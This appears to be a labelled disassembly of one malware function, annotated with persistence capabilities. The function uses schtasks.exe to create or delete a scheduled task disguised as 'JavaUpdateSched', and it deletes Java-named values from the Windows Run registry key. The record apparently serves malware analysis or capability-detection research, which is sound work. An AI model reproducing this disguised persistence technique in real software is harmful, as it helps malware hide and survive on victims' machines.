Function at 0x1002ab40
Capabilities:
Delete registry value
Get common file path
Persist via run registry key

Disassembly:
sub esp, 0x428
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x424], eax
push edi
mov edi, dword [esp + 0x430]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x22]
push ecx
mov word [esp + 0x24], ax
call sub.MSVCR100.dll_memset
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x236]
push eax
mov word [esp + 0x238], dx
call sub.MSVCR100.dll_memset
add esp, 0x18
mov dword [esp + 0xc], 0
call fcn.1002a300
test eax, eax
jne 0x1002abba
pop edi
mov ecx, dword [esp + 0x424]
xor ecx, esp
call fcn.1003779c
add esp, 0x428
ret
push ebx
push ebp
push esi
push 0x208
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x24]
call fcn.10002e00
push str._schtasks.exe
lea ecx, [esp + 0x14]
call fcn.10002e00
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
call fcn.10004760
mov esi, dword [esp + 0x10]
test esi, esi
je 0x1002ac33
lea ecx, [esi + 8]
push ecx
call dword [sym.imp.kernel32.dll_InterlockedDecrement]
test eax, eax
jne 0x1002ac33
mov eax, dword [esi]
test eax, eax
je 0x1002ac1a
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
test eax, eax
je 0x1002ac2a
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push esi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x18]
call fcn.10002e00
lea ecx, [esp + 0x10]
test edi, edi
jne 0x1002ac65
push str._schtasks.exe__delete__tn_JavaUpdateSched__f
mov dword [esp + 0x1c], 1
call fcn.10002e00
lea eax, [esp + 0x10]
push eax
jmp 0x1002ad46
push 0x1003b0cc
call fcn.10002e00
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call fcn.10004760
lea ecx, [esp + 0x10]
call fcn.10002330
push edi
lea ecx, [esp + 0x14]
call fcn.10002e00
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x18]
call fcn.10004760
lea ecx, [esp + 0x10]
call fcn.10002330
call fcn.10003580
lea ecx, [esp + 0x10]
test eax, eax
je 0x1002acc5
push str.lib_task64.xml_
call fcn.10002e00
lea eax, [esp + 0x10]
push eax
jmp 0x1002acd4
push str.lib_task.xml_
call fcn.10002e00
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call fcn.10004760
lea ecx, [esp + 0x10]
call fcn.10002330
push str._schtasks.exe__create__xml
lea ecx, [esp + 0x14]
call fcn.10002e00
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x18]
call fcn.10004760
lea ecx, [esp + 0x10]
call fcn.10002330
lea eax, [esp + 0x22c]
push eax
lea ecx, [esp + 0x14]
call fcn.10002e00
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call fcn.10004760
lea ecx, [esp + 0x10]
call fcn.10002330
push str.__tn_JavaUpdateSched__f
lea ecx, [esp + 0x14]
call fcn.10002e00
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x18]
call fcn.10004760
lea ecx, [esp + 0x10]
call fcn.10002330
mov edi, dword [esp + 0x14]
test edi, edi
je 0x1002ad64
mov ecx, dword [edi]
jmp 0x1002ad66
xor ecx, ecx
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x1002ad72
mov eax, dword [ebx]
jmp 0x1002ad74
xor eax, eax
push 0
push ecx
push eax
call fcn.10027090
mov ebp, eax
add esp, 0xc
test ebp, ebp
je 0x1002ae48
lea eax, [esp + 0x1c]
push eax
push 0x2021f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002ae48
cmp dword [esp + 0x18], eax
jne 0x1002addc
mov ecx, dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.SunJavaUpdateSched
push ecx
call esi
mov edx, dword [esp + 0x1c]
push str.SunJavaUpdateReg
push edx
call esi
call fcn.10027250
call fcn.1002a900
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.create_delete_task_scheduler_successfully:_n
lea ecx, [esp + 0x14]
call fcn.10002e00
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
call fcn.10004760
push 0x1003b934
lea ecx, [esp + 0x1c]
call fcn.10002e00
lea edx, [esp + 0x18]
push edx
lea ecx, [esp + 0x14]
call fcn.10004760
lea ecx, [esp + 0x18]
call fcn.10002330
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1002ae34
mov eax, dword [eax]
jmp 0x1002ae36
xor eax, eax
push eax
call fcn.10027a40
add esp, 4
lea ecx, [esp + 0x10]
call fcn.10002330
test edi, edi
je 0x1002ae80
lea eax, [edi + 8]
push eax
call dword [sym.imp.kernel32.dll_InterlockedDecrement]
test eax, eax
jne 0x1002ae80
mov eax, dword [edi]
test eax, eax
je 0x1002ae67
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [edi + 4]
test eax, eax
je 0x1002ae77
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push edi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
test ebx, ebx
je 0x1002aeb8
lea ecx, [ebx + 8]
push ecx
call dword [sym.imp.kernel32.dll_InterlockedDecrement]
test eax, eax
jne 0x1002aeb8
mov eax, dword [ebx]
test eax, eax
je 0x1002ae9f
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebx + 4]
test eax, eax
je 0x1002aeaf
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push ebx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [esp + 0x434]
pop esi
mov eax, ebp
pop ebp
pop ebx
pop edi
xor ecx, esp
call fcn.1003779c
add esp, 0x428
ret